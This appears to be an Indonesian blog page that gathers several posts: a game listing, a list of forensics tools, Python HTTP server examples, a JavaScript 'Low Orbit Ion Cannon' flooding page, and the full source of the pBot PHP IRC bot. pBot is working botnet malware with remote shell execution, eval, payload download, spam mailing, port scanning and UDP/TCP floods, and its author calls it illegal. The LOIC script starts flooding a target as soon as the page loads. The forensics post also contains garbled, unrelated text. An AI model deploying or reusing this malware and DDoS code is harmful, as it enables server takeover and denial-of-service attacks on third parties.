Paladins Game FPS Steam Open Beta

Masukkan jempol kaki fantasialisasi teknologi kuno di Paladin, penembak berbasis sistematis tim dengan elementis strategis dan kustomisasi karakterisasi yang mendalam. Melalui sistem kartu koleksi unik, pemain bisa  memperkuat dan meningkatkan set inti karakter kemampuan untuk bermain persis bagaimana mereka ingin bermain.




SYs requretmennt
MINIMUM:
OS: Windows XP SP2, Windows Vista or Windows 7
Processor: Core 2 Duo 2.4 GHz or Althon X2 2.7 GHz
Memory: 2 GB RAM
Graphics: ATI or Nvidia graphics card with 512MB video ram or better and Shader Model 3.0+ support. (ATI Radeon 3870 or higher, Nvidia GeForce 8800 GT or higher)
Storage: 10 GB available space
Sound Card: DirectX compatible sound card
RECOMMENDED:
OS: 64-bit: Vista, Win 7, Win 8, Win 10
Processor: Intel Core i5-750, 2.67 GHz / AMD Phenom II X4 965, 3.4 GHz
Memory: 4 GB RAM
Graphics: NVIDIA GeForce GTX 560 / AMD Radeon HD 6950 or better with 768 MB+ of VRAM (DirectX 11 Compatible)
Network: Broadband Internet connection
Storage: 10 GB available space
Sound Card: DirectX compatible sound card

http://store.steampowered.com/app/444090/
Baca Lagi »

Kumpulan Software Digital Forensik

Digital forensik adalah sesuatu hal yang sangat penting dari ilmu Komputer dalam kaitannya dengan Digital dan internet terkait kejahatan. untuk Perbedaan susu sapi dan produk keuangan pelangi yang kompleks matahari diperdagangkan pada bulan. Mengikuti petualangan seorang anak muda yang luar biasa kuat bernama Goku saat ia mencari tujuh bola naga. bola ini ada 7 berwarna kuning dan memiliki gambar bintang kecil, jika terkumpul akan keluar sheron, sheron adalah naga yang dapat mengabulkan permintaan apa saja, Walaupun permintaannya aneh sheronpun bisa mengabulkannya,
Kumpulan Software Digital Forensik

Berikut inilah software digital forensik


pass cracking mungkin dibutuhkan. mungkin saja dibutuhkan dan sering digunakan, pasti ada password lupa password brankas


Sengaja menghapus file penting ? Kehilangan file setelah crash komputer? Tidak masalah - Recuva dapat pulihkan file dari komputer anda Windows, recycle bin, kartu kamera digital, kartu gaplex , kartu remi,  atau foto bokep video bf player 


Win-UFO

Win-UFO

Win-UFO adalah sebuah konsep dan desain oleh Emory Casey Mullis dan Scott Putih. Alasan untuk pengembangan program memiliki banyak sisi dan atau alasan. Untuk dapat memahami dari mana asalnya, kita harus memberitahu Anda sedikit tentang Casey dan Scott.

Casey telah dalam penegakan hukum selama sekitar 19 tahun. Dia memulai karirnya di Amerika Serikat Angkatan Udara dan kemudian berakhir dalam penegakan hukum sipil. Dia mulai kepentingan komputernya kembali ketika prosesor 266 adalah atas baris dan komputer seperti ini biaya dua ribu dolar. Dia mulai menulis string INIT untuk modem dial untuk mendapatkan kecepatan lebih dari mereka. Itu di sini di mana dia mengembangkan semangat untuk teknologi.

Dalam karir Casey di penegakan hukum ia telah mengembangkan laboratorium forensik komputer dan bekerja semua jenis kasus forensik komputer mulai dari molestations anak untuk pembunuhan. Dia ditemukan di era digital ini bahwa semakin banyak kejahatan yang dilakukan memberikan semacam foot print digital. Tidak ada cara sekitarnya. Kita telah melihat individu tunawisma dengan ponsel. Anda mungkin tidak memiliki rumah tetapi Anda akan memiliki ponsel.

Casey telah diuji banyak jenis alat forensik komputer mulai dari hardware ke software. Apa yang ia temukan ketika datang ke itu ada banyak alat-alat besar di luar sana. Ia menemukan bahwa banyak yang dicap penegakan hukum saja, namun mereka menggunakan beberapa bentuk alat bantu gratis dari internet. Dia mulai berpikir, bagaimana dengan orang lain? Seberapa baik itu akan jika ada alat untuk sisa dari kita? Bagaimana jika orang tua bisa memeriksa untuk melihat apa yang anak mereka lakukan di komputer? Win-UFO diciptakan oleh Scott Putih dan berdiri untuk "Windows Ultimate Forensik Outflow".

Scott telah menggunakan komputer sejak ia berusia 13 tahun. Dia mulai keluar pada Commodore 64 komputer dan belajar bahasa pemrograman BASIC. Dia menulis berbagai program menggunakan Commodore 64. Kemudian, ia menggunakan komputer Amiga 600 dan belajar bahasa BASIC disebut AMOS, di mana ia menulis sebuah program database telepon grafis. Dia kemudian pindah ke sebuah PC IBM yang memiliki MSDOS dan Windows for Workgroups 3.11. Dia belajar QBASIC untuk DOS, serta Visual Basic dan menulis berbagai aplikasi menggunakan dua. Kemudian, ia terus menggunakan PC dan pergi ke sekolah teknik dan memperoleh gelar Associates di Teknologi Terapan dalam Sistem Informasi Komputer. Dia kemudian belajar bahasa pemrograman Pascal, yang masih menggunakan sampai hari ini.

Casey dan Scott berkolaborasi dan dirancang konsep Win-UFO. Scott, dengan bantuan Casey, yang dirancang tata letak antarmuka pengguna Win-UFO. Setelah desain diputuskan pada, Scott kemudian menulis program Win-UFO, yang telah berkembang ke tingkat yang menarik di luar apa Casey dan Scott awalnya membayangkan hal itu terjadi.

Apa Win-UFO dan apa yang bisa ia lakukan untuk Anda?

Win-UFO adalah alat akuisisi data hidup. Jika Anda berjalan ke komputer yang menjalankan Windows (XP, Vista, Win7, dan Win8) dan Anda perlu mencari tahu berikut ...



Digital Forensics Framework


Digital Forensik Framework adalah platform lain populer didedikasikan untuk forensik digital. Alat ini open source dan berada di bawah GPL License. Hal ini dapat digunakan baik oleh profesional atau non-ahli tanpa kesulitan apapun. Hal ini dapat digunakan untuk rantai digital balak, untuk mengakses perangkat remote atau lokal, forensik dari Windows atau Linux OS, pemulihan tersembunyi dari file dihapus, pencarian cepat untuk meta data file ', dan berbagai hal lainnya.

Caine


CAINE (Computer Aided INvestigative Environment) is an Italian GNU/Linux live distribution created as a Digital Forensics project
Currently the project manager is Nanni Bassetti (Bari - Italy).
CAINE menawarkan lingkungan digital forensik lengkap yang diselenggarakan untuk mengintegrasikan perangkat lunak yang ada sebagai modul perangkat lunak dan untuk menyediakan antarmuka grafis ramah.


http://www.sleuthkit.org/

http://www.x-ways.net/forensics/

http://digital-forensics.sans.org/community/downloads

https://www.guidancesoftware.com/encase-forensic

http://arsenalrecon.com/apps/recon/

http://www.oxygen-forensic.com/en/features

http://digitalcorpora.org/downloads/bulk_extractor/

http://www.xplico.org/about

https://www.mandiant.com/resources/download/redline

https://www.paraben.com/p2-explorer.html

http://www.cellebrite.com/Mobile-Forensics

Baca Lagi »

simple HTTP server Python

Hello world
#!/usr/bin/python
from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer

PORT_NUMBER = 80

#This class will handles any incoming request from
#the browser 
class myHandler(BaseHTTPRequestHandler):
 
 #Handler for the GET requests
 def do_GET(self):
  self.send_response(200)
  self.send_header('Content-type','text/html')
  self.end_headers()
  # Send the html message
  self.wfile.write("Hello World !")
  return

try:
 #Create a web server and define the handler to manage the
 #incoming request
 server = HTTPServer(('', PORT_NUMBER), myHandler)
 print 'Started httpserver on port ' , PORT_NUMBER
 
 #Wait forever for incoming htto requests
 server.serve_forever()

except KeyboardInterrupt:
 print '^C received, shutting down the web server'
 server.socket.close()
 


Serve static files

#!/usr/bin/python
from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer
from os import curdir, sep

PORT_NUMBER = 80

#This class will handles any incoming request from
#the browser 
class myHandler(BaseHTTPRequestHandler):
 
 #Handler for the GET requests
 def do_GET(self):
  if self.path=="/":
   self.path="/newfolder/index.html"

  try:
   #Check the file extension required and
   #set the right mime type

   sendReply = False
   if self.path.endswith(".html"):
    mimetype='text/html'
    sendReply = True
   if self.path.endswith(".jpg"):
    mimetype='image/jpg'
    sendReply = True
   if self.path.endswith(".gif"):
    mimetype='image/gif'
    sendReply = True
   if self.path.endswith(".js"):
    mimetype='application/javascript'
    sendReply = True
   if self.path.endswith(".css"):
    mimetype='text/css'
    sendReply = True

   if sendReply == True:
    #Open the static file requested and send it
    f = open(curdir + sep + self.path) 
    self.send_response(200)
    self.send_header('Content-type',mimetype)
    self.end_headers()
    self.wfile.write(f.read())
    f.close()
   return


  except IOError:
   self.send_error(404,'File Not Found: %s' % self.path)

try:
 #Create a web server and define the handler to manage the
 #incoming request
 server = HTTPServer(('', PORT_NUMBER), myHandler)
 print 'Started httpserver on port ' , PORT_NUMBER
 
 #Wait forever for incoming htto requests
 server.serve_forever()

except KeyboardInterrupt:
 print '^C received, shutting down the web server'
 server.socket.close()


Read data from a form
#!/usr/bin/python
from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer
from os import curdir, sep
import cgi

PORT_NUMBER = 8080

#This class will handles any incoming request from
#the browser 
class myHandler(BaseHTTPRequestHandler):
 
 #Handler for the GET requests
 def do_GET(self):
  if self.path=="/":
   self.path="/newfolder/index.html"

  try:
   #Check the file extension required and
   #set the right mime type

   sendReply = False
   if self.path.endswith(".html"):
    mimetype='text/html'
    sendReply = True
   if self.path.endswith(".jpg"):
    mimetype='image/jpg'
    sendReply = True
   if self.path.endswith(".gif"):
    mimetype='image/gif'
    sendReply = True
   if self.path.endswith(".js"):
    mimetype='application/javascript'
    sendReply = True
   if self.path.endswith(".css"):
    mimetype='text/css'
    sendReply = True

   if sendReply == True:
    #Open the static file requested and send it
    f = open(curdir + sep + self.path) 
    self.send_response(200)
    self.send_header('Content-type',mimetype)
    self.end_headers()
    self.wfile.write(f.read())
    f.close()
   return

  except IOError:
   self.send_error(404,'File Not Found: %s' % self.path)

 #Handler for the POST requests
 def do_POST(self):
  if self.path=="/send":
   form = cgi.FieldStorage(
    fp=self.rfile, 
    headers=self.headers,
    environ={'REQUEST_METHOD':'POST',
                   'CONTENT_TYPE':self.headers['Content-Type'],
   })

   print "Your name is: %s" % form["your_name"].value
   self.send_response(200)
   self.end_headers()
   self.wfile.write("Thanks %s !" % form["your_name"].value)
   return   
   
   
try:
 #Create a web server and define the handler to manage the
 #incoming request
 server = HTTPServer(('', PORT_NUMBER), myHandler)
 print 'Started httpserver on port ' , PORT_NUMBER
 
 #Wait forever for incoming htto requests
 server.serve_forever()

except KeyboardInterrupt:
 print '^C received, shutting down the web server'
 server.socket.close()
Baca Lagi »

Low Orbit Ion Cannon - javascript

Low Orbit Ion Cannon








Attack status

Requested: 0
Accept: 0
Fail: 0





<!DOCTYPE html>
<html>
<head>
<title>Low Orbit Ion Cannon</title>
<meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
  <script src="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>/
<body>

<div  style="text-align:center">
<h1>Low Orbit Ion Cannon</h1>
<div class="panel panel-primary">
<div class="panel-heading">
<label>Target URL:</label>
<input id="targetURL" type="text" class="form-control" value="https://www.google.com/" />
</div>
<div class="panel-heading">
<label> Requests per second :</label>
<input id="rps" value="1" type="text" class="form-control"/>
</div>
 <div class="panel-heading">
<label>   Append message :</label>
<input  id="message" value="ZzzZZzzZZ" type="text" class="form-control"/>
</div>  
</div>
  
<div class="panel panel-danger">
<div class="panel-heading">
<h3> Attack status</h3>
</div>
<div class="row">
Requested:  <span id="requestedCtr" style="color:blue">   0</span>
Accept:  <span id="succeededCtr" style="color:green">   0</span>
Fail: <span id="failedCtr"style="color:red">   0</span>
</div>
</div>  

<div>
<button id="fireButton" class="btn btn-danger" >START</button>
</div>
</div>


    <script>
        (function () {
            var fireInterval;
            var isFiring = false;
            var requestedCtrNode = document.getElementById("requestedCtr"),
                succeededCtrNode = document.getElementById("succeededCtr"),
                failedCtrNode = document.getElementById("failedCtr"),
                targetURLNode = document.getElementById("targetURL"),
                fireButton = document.getElementById("fireButton"),
                messageNode = document.getElementById("message"),
                rpsNode = document.getElementById("rps"),
                timeoutNode = document.getElementById("timeout");
            var targetURL = targetURLNode.value;
            targetURLNode.onchange = function () {
                targetURL = this.value;
            };
            var requestsHT = {}; // requests hash table, may come in handy later
            var requestedCtr = 0,
                succeededCtr = 0,
                failedCtr = 0;
            var makeHttpRequest = function () {
                                        if (requestedCtr > failedCtr + succeededCtr + 1000) { //Allow no more than 1000 hung requests
                                                return;
                                        };
                                       
                    var rID =Number(new Date());
                    var img = new Image();
                    img.onerror = function () { onFail(rID); };
                    img.onabort = function () { onFail(rID); };
                    img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods
                                       
                                        img.setAttribute("src", targetURL + "?" + rID + "=" + messageNode.value);
                    requestsHT[rID] = img;
                    onRequest(rID);
                };
 
            var onRequest = function (rID) {
                    requestedCtr++;
                    requestedCtrNode.innerHTML = requestedCtr;
                };
 
            var onComplete = function (rID) {
                    delete requestsHT[rID];
                };
 
            var onFail = function (rID) {
                   // failedCtr++;
                    //failedCtrNode.innerHTML = failedCtr;
                                       
                                        succeededCtr++; //Seems like the url will always fail it it isn't an image
                    succeededCtrNode.innerHTML = succeededCtr;
                    delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
                };
 
            var onSuccess = function (rID) {
                    succeededCtr++;
                    succeededCtrNode.innerHTML = succeededCtr;
                    delete requestsHT[rID];
                };
 
            fireButton.onclick = function () {
                if (isFiring) {
                    clearInterval(fireInterval);
                    isFiring = false;
                    this.innerHTML = "START";
                } else {
                    isFiring = true;
                    this.innerHTML = "Stop flooding";
 
                    fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
                }
            };
 
        })();
 
isFiring = true;
document.getElementById("fireButton").innerHTML = "Start flooding";
fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(document.getElementById("rps").value) | 0));
    </script>


</body>
</html>







Baca Lagi »

pBot by V.S. ~ PHP remote file inclusion vulnerabilities

pBot.php
<?

set_time_limit(0);
error_reporting(0);

class pBot
{
 var $config = array("server"=>"127.0.0.1",
                     "port"=>6667,
                     "pass"=>"",
                     "prefix"=>"pbot|",
                     "maxrand"=>8,
                     "chan"=>"#pbot",
                     "key"=>"",
                     "modes"=>"+iB-x",
                     "password"=>"password",
                     "trigger"=>".",
                     "hostauth"=>"*" // * for any hostname
                     );
 var $users = array();
 function start()
 {
    if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))
       $this->start();
    $ident = "";
    $alph = range("a","z");
    for($i=0;$i<$this->config['maxrand'];$i++)
       $ident .= $alph[rand(0,25)];
    if(strlen($this->config['pass'])>0)
       $this->send("PASS ".$this->config['pass']);
    $this->send("USER $ident 127.0.0.1 localhost :$ident");
    $this->set_nick();
    $this->main();
 }
 function main()
 {
    while(!feof($this->conn))
    {
       $this->buf = trim(fgets($this->conn,512));
       $cmd = explode(" ",$this->buf);
       if(substr($this->buf,0,6)=="PING :")
       {
          $this->send("PONG :".substr($this->buf,6));
       }
       if(isset($cmd[1]) && $cmd[1] =="001")
       {
          $this->send("MODE ".$this->nick." ".$this->config['modes']);
          $this->join($this->config['chan'],$this->config['key']);
       }
       if(isset($cmd[1]) && $cmd[1]=="433")
       {
          $this->set_nick();
       }
       if($this->buf != $old_buf)
       {
          $mcmd = array();
          $msg = substr(strstr($this->buf," :"),2);
          $msgcmd = explode(" ",$msg);
          $nick = explode("!",$cmd[0]);
          $vhost = explode("@",$nick[1]);
          $vhost = $vhost[1];
          $nick = substr($nick[0],1);
          $host = $cmd[0];
          if($msgcmd[0]==$this->nick)
          {
           for($i=0;$i<count($msgcmd);$i++)
              $mcmd[$i] = $msgcmd[$i+1];
          }
          else
          {
           for($i=0;$i<count($msgcmd);$i++)
              $mcmd[$i] = $msgcmd[$i];
          }
          if(count($cmd)>2)
          {
             switch($cmd[1])
             {
                case "QUIT":
                   if($this->is_logged_in($host))
                   {
                      $this->log_out($host);
                   }
                break;
                case "PART":
                   if($this->is_logged_in($host))
                   {
                      $this->log_out($host);
                   }
                break;
                case "PRIVMSG":
                   if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*"))
                   {
                      if(substr($mcmd[0],0,1)==".")
                      {
                         switch(substr($mcmd[0],1))
                         {
                            case "user":
                              if($mcmd[1]==$this->config['password'])
                              {
                                 $this->privmsg($this->config['chan'],"[\2auth\2]: $nick logged in");
                                 $this->log_in($host);
                              }
                              else
                              {
                                 $this->privmsg($this->config['chan'],"[\2auth\2]: Incorrect password from $nick");
                              }
                            break;
                         }
                      }
                   }
                   elseif($this->is_logged_in($host))
                   {
                      if(substr($mcmd[0],0,1)==".")
                      {
                         switch(substr($mcmd[0],1))
                         {
                            case "restart":
                               $this->send("QUIT :restart");
                               fclose($this->conn);
                               $this->start();
                            break;
                            case "mail": //mail to from subject message
                               if(count($mcmd)>4)
                               {
                                  $header = "From: <".$mcmd[2].">";
                                  if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header))
                                  {
                                     $this->privmsg($this->config['chan'],"[\2mail\2]: Unable to send");
                                  }
                                  else 
                                  {
                                     $this->privmsg($this->config['chan'],"[\2mail\2]: Message sent to \2".$mcmd[1]."\2");
                                  }
                               }
                            break;
                            case "dns":
                               if(isset($mcmd[1]))
                               {
                                  $ip = explode(".",$mcmd[1]);
                                  if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
                                  {
                                     $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
                                  }
                                  else
                                  {
                                     $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
                                  }
                               }
                            break;
                            case "info":
                               $this->privmsg($this->config['chan'],"[\2info\2]: [\2httpd\2: ".$_SERVER['SERVER_SOFTWARE']."] [\2docroot\2: ".$_SERVER['DOCUMENT_ROOT']."] [\2domain\2: ".$_SERVER['SERVER_NAME']."] [\2admin\2: ".$_SERVER['SERVER_ADMIN']."] [\2url\2:".$_SERVER['REQUEST_URI']."]");
                            break;
                            case "cmd":
                               if(isset($mcmd[1]))
                               {
                                  $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
                                  $this->privmsg($this->config['chan'],"[\2cmd\2]: $command");
                                  $pipe = popen($command,"r");
                                  while(!feof($pipe))
                                  {
                                     $pbuf = trim(fgets($pipe,512));
                                     if($pbuf != NULL)
                                        $this->privmsg($this->config['chan'],"     : $pbuf");
                                  }
                                  pclose($pipe);
                               }
                            break;
                            case "rndnick":
                               $this->set_nick();
                            break;
                            case "raw":
                               $this->send(strstr($msg,$mcmd[1]));
                            break;
                            case "php":
                               $eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1])));
                            break;
                            case "exec":
                               $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
                               $exec = shell_exec($command);
                               $ret = explode("\n",$exec);
                               $this->privmsg($this->config['chan'],"[\2exec\2]: $command");
                               for($i=0;$i<count($ret);$i++)
                                  if($ret[$i]!=NULL)
                                     $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
                            break;
                            case "pscan": // .pscan 127.0.0.1 6667
                               if(count($mcmd) > 2)
                               {
                                  if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15))
                                     $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2open\2");
                                  else
                                     $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2closed\2");
                               }
                            break;
                            case "ud.server": // .udserver <server> <port> [password]
                               if(count($mcmd)>2)
                               {
                                  $this->config['server'] = $mcmd[1];
                                  $this->config['port'] = $mcmd[2];
                                  if(isset($mcmcd[3]))
                                  {
                                   $this->config['pass'] = $mcmd[3];
                                   $this->privmsg($this->config['chan'],"[\2update\2]: Changed server to ".$mcmd[1].":".$mcmd[2]." Pass: ".$mcmd[3]);
                                  }
                                  else
                                  {
                                     $this->privmsg($this->config['chan'],"[\2update\2]: Changed server to ".$mcmd[1].":".$mcmd[2]);
                                  }
                               }
                            break;
                            case "download":
                               if(count($mcmd) > 2)
                               {
                                  if(!$fp = fopen($mcmd[2],"w"))
                                  {
                                     $this->privmsg($this->config['chan'],"[\2download\2]: Cannot download, permission denied.");
                                  }
                                  else
                                  {
                                     if(!$get = file($mcmd[1]))
                                     {
                                        $this->privmsg($this->config['chan'],"[\2download\2]: Unable to download from \2".$mcmd[1]."\2");
                                     }
                                     else
                                     {
                                        for($i=0;$i<=count($get);$i++)
                                        {
                                           fwrite($fp,$get[$i]);
                                        }
                                        $this->privmsg($this->config['chan'],"[\2download\2]: File \2".$mcmd[1]."\2 downloaded to \2".$mcmd[2]."\2");
                                     }
                                     fclose($fp);
                                  }
                               }
                            break;
                            case "die":
                               $this->send("QUIT :die command from $nick");
                               fclose($this->conn);
                               exit;
                            case "logout":
                               $this->log_out($host);
                               $this->privmsg($this->config['chan'],"[\2auth\2]: $nick logged out");
                            break;
                            case "udpflood":
                               if(count($mcmd)>4)
                               {
                                  $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4]);
                               }
                            break;
                            case "tcpflood":
                               if(count($mcmd)>5)
                               {
                                  $this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]);
                               }
                            break;
                         }
                      }
                   }
                break;
             }
          }
       }
       $old_buf = $this->buf;
    }
    $this->start();
 }
 function send($msg)
 {
    fwrite($this->conn,"$msg\r\n");
 }
 function join($chan,$key=NULL)
 {
    $this->send("JOIN $chan $key");
 }
 function privmsg($to,$msg)
 {
    $this->send("PRIVMSG $to :$msg");
 }
 function is_logged_in($host)
 {
    if(isset($this->users[$host]))
       return 1;
    else
       return 0;
 }
 function log_in($host)
 {
    $this->users[$host] = true;
 }
 function log_out($host)
 {
    unset($this->users[$host]);
 }
 function set_nick()
 {
    if(isset($_SERVER['SERVER_SOFTWARE']))
    {
       if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache"))
          $this->nick = "[A]";
       elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis"))
          $this->nick = "[I]";
       elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami"))
          $this->nick = "[X]";
       else
          $this->nick = "[U]";
    }
    else
    {
       $this->nick = "[C]";
    }
    $this->nick .= $this->config['prefix'];
    for($i=0;$i<$this->config['maxrand'];$i++)
       $this->nick .= mt_rand(0,9);
    $this->send("NICK ".$this->nick);
 }
 function udpflood($host,$packets,$packetsize,$delay)
 {
    $this->privmsg($this->config['chan'],"[\2udpflood\2]: Sending $packets packets to $host. Packet size: $packetsize");
    $packet = "";
    for($i=0;$i<$packetsize;$i++)
       $packet .= chr(mt_rand(1,256));
    for($i=0;$i<$packets;$i++)
    {
       if(!$fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5))
       {
          $this->privmsg($this->config['chan'],"[\2udpflood\2]: Error: <$e>");
          return 0;
       }
       else
       {
          fwrite($fp,$packet);
          fclose($fp);
       }
       sleep($delay);
    }
    $this->privmsg($this->config['chan'],"[\2udpflood\2]: Finished sending $packets packets to $host.");
 }
 function tcpflood($host,$packets,$packetsize,$port,$delay)
 {
    $this->privmsg($this->config['chan'],"[\2tcpflood\2]: Sending $packets packets to $host:$port. Packet size: $packetsize");
    $packet = "";
    for($i=0;$i<$packetsize;$i++)
       $packet .= chr(mt_rand(1,256));
    for($i=0;$i<$packets;$i++)
    {
       if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5))
       {
          $this->privmsg($this->config['chan'],"[\2tcpflood\2]: Error: <$e>");
          return 0;
       }
       else
       {
          fwrite($fp,$packet);
          fclose($fp);
       }
       sleep($delay);
    }
    $this->privmsg($this->config['chan'],"[\2tcpflood\2]: Finished sending $packets packets to $host:$port.");
 }
}

$bot = new pBot;
$bot->start();

?>

##======================================================================##
# pBot ~ A bot for exploiting PHP remote file inclusion vulnerabilities  #
# by V.S.                                                                #
##======================================================================##


= COMMANDS ============================================================================
 .user <password>                                              //login to the bot
 .logout                                                       //logout of the bot
 .die                                                          //kill the bot
 .restart                                                      //restart the bot
 .mail <to> <from> <subject> <msg>                             //send an email
 .dns <IP|HOST>                                                //dns lookup
 .download <URL> <filename>                                    //download a file
 .exec <cmd>  // uses shell_exec()                             //execute a command
 .cmd <cmd> // uses popen()                                    //execute a command
 .info                                                         //get system information
 .php <php code> // uses eval()                                //execute php code
 .tcpflood <target> <packets> <packetsize> <port> <delay>      //tcpflood attack
 .udpflood <target> <packets> <packetsize> <delay>             //udpflood attack
 .raw <cmd>                                                    //raw IRC command
 .rndnick                                                      //change nickname
 .pscan <host> <port>                                          //port scan
 .ud.server <newhost> <newport> [newpass]                      //change IRC server
---------------------------------------------------------------------------------------

 
= LICENCE ===========================================================
 Do whatever the fuck you want with this, legitimate or not. Modify
 it, rewrite it, rename it, I honestly don't give a crap. Just don't
 bother me if you fuck it up.
---------------------------------------------------------------------


= DISCLAIMER ========================================================
 This type of application is illegal, but go nuts. What do I care?
---------------------------------------------------------------------
Baca Lagi »